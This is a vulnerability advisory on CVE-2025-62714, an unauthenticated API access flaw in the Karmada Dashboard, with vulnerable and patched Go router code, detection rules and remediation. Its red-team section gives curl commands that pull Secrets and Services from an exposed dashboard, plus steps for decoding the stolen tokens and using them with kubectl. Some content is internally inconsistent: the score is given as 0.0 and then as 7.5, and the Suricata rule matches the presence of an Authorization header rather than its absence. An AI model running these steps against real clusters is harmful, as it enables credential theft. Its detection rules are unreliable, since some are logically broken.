CVE-2025-62714

Executive Summary

CVE-2025-62714 is an authentication bypass vulnerability in the Karmada Dashboard API, affecting versions prior to 0.2.0. The backend API endpoints (e.g., /api/v1/secret, /api/v1/service) do not enforce authentication, allowing unauthenticated attackers with network access to retrieve sensitive cluster information such as Secrets and Services. While the web UI requires a valid JWT, the API remains exposed. This vulnerability has a CVSS score of 0.0 (likely placeholder) but poses a critical risk to multi-cluster environments. No public exploit code or nuclei template is available, but the attack vector is straightforward.

Supply Chain & Package Security

Karmada Dashboard is a web-based control panel for the Karmada multi-cluster management project. The vulnerability exists in the backend API, which is part of the dashboard's Go-based server. No supply chain compromise is indicated, but the lack of authentication in API endpoints is a design flaw.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. Unauthenticated access to Secrets and Services can lead to full cluster compromise.

Deep Dive & Mechanics

The Karmada Dashboard exposes REST API endpoints for managing multi-cluster resources. The vulnerability stems from missing authentication middleware on backend routes. Specifically, endpoints like /api/v1/secret and /api/v1/service do not validate JWT tokens or any other authentication mechanism. An attacker can directly query these endpoints using HTTP GET requests to retrieve sensitive data.

Root Cause: The API router does not apply authentication checks to all routes. The web UI uses JWT, but the API layer is separate and unprotected.

Attack Flow:

1. Attacker identifies a Karmada Dashboard instance (e.g., via Shodan or network scanning).
2. Attacker sends a GET request to /api/v1/secret without any authentication headers.
3. The server returns a list of Secrets (including credentials, tokens, etc.) in JSON format.
4. Attacker can then use these credentials to pivot into the Kubernetes cluster.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.2.0):

// router.go (simplified)
func SetupRouter() *gin.Engine {
    r := gin.Default()
    // No authentication middleware applied
    r.GET("/api/v1/secret", getSecretsHandler)
    r.GET("/api/v1/service", getServicesHandler)
    return r
}

Patched Code (0.2.0+):

// router.go (simplified)
func SetupRouter() *gin.Engine {
    r := gin.Default()
    // Authentication middleware applied globally
    r.Use(authMiddleware())
    r.GET("/api/v1/secret", getSecretsHandler)
    r.GET("/api/v1/service", getServicesHandler)
    return r
}

func authMiddleware() gin.HandlerFunc {
    return func(c *gin.Context) {
        token := c.GetHeader("Authorization")
        if token == "" || !validateJWT(token) {
            c.AbortWithStatusJSON(401, gin.H{"error": "unauthorized"})
            return
        }
        c.Next()
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to the Karmada Dashboard (default port 8080).
• No authentication required.

Exploitation Steps:

1. Discover the Dashboard:

   curl -s http://<target>:8080/api/v1/secret
   

2. Extract Secrets:

   curl -s http://<target>:8080/api/v1/secret | jq .
   

3. Extract Services:

   curl -s http://<target>:8080/api/v1/service | jq .
   

4. Use Secrets to Access Cluster:
   • Decode base64-encoded secrets from the response.
   • Use kubectl with the extracted token to authenticate.

Example Output:

{
  "items": [
    {
      "metadata": {
        "name": "my-secret",
        "namespace": "default"
      },
      "data": {
        "password": "cGFzc3dvcmQxMjM="
      }
    }
  ]
}

Blue Team

Detection:

• Monitor for unauthorized API calls to /api/v1/secret or /api/v1/service without Authorization headers.
• Use network logs to identify IPs making direct API requests.

Honeypot:

• Deploy a fake Karmada Dashboard endpoint that logs all requests and alerts on unauthenticated access.

Mitigation:

• Immediately upgrade to version 0.2.0 or later.
• If upgrade is not possible, implement a reverse proxy (e.g., Nginx) with authentication.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /api/v1/secret without Authorization header.
  • HTTP GET requests to /api/v1/service without Authorization header.
  • Source IPs scanning for Karmada Dashboard on port 8080.

• File IOCs:

  • Log entries showing 401 responses after patch, or 200 responses before patch for unauthenticated requests.

• Behavioral IOCs:

  • Unusual access to Secrets from non-admin IPs.
  • Multiple failed authentication attempts (if partial auth is enabled).

Detection Engineering

YARA Rule

rule Karmada_Dashboard_Auth_Bypass {
    meta:
        description = "Detects unauthenticated access to Karmada Dashboard API endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62714"
    strings:
        $secret_endpoint = "/api/v1/secret"
        $service_endpoint = "/api/v1/service"
        $no_auth = "Authorization:"
    condition:
        any of ($secret_endpoint, $service_endpoint) and not $no_auth
}

Sigma Rule

title: Karmada Dashboard Unauthenticated API Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Karmada Dashboard API endpoints without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/api/v1/secret'
            - '/api/v1/service'
    filter:
        cs-headers: 'Authorization:*'
    condition: selection and not filter
falsepositives:
    - Legitimate unauthenticated health checks (if any)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-62714 Karmada Dashboard Unauthenticated API Access";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/v1/secret"; http_uri;
    pcre:"/^Authorization\s*:/Hi";
    sid:1000001;
    rev:1;
    reference:cve,2025-62714;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Karmada Dashboard to version 0.2.0 or later.
2. Network Segmentation: Restrict network access to the dashboard to trusted IPs only.
3. Reverse Proxy: Place an Nginx or Apache reverse proxy in front of the dashboard with mandatory authentication.

Long-term Measures:

• Implement API authentication middleware for all endpoints.
• Conduct security audits of all API routes.
• Use a Web Application Firewall (WAF) to block unauthenticated requests.

Patch Details:

• Upgrade to version 0.2.0 from the official Karmada Dashboard repository.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert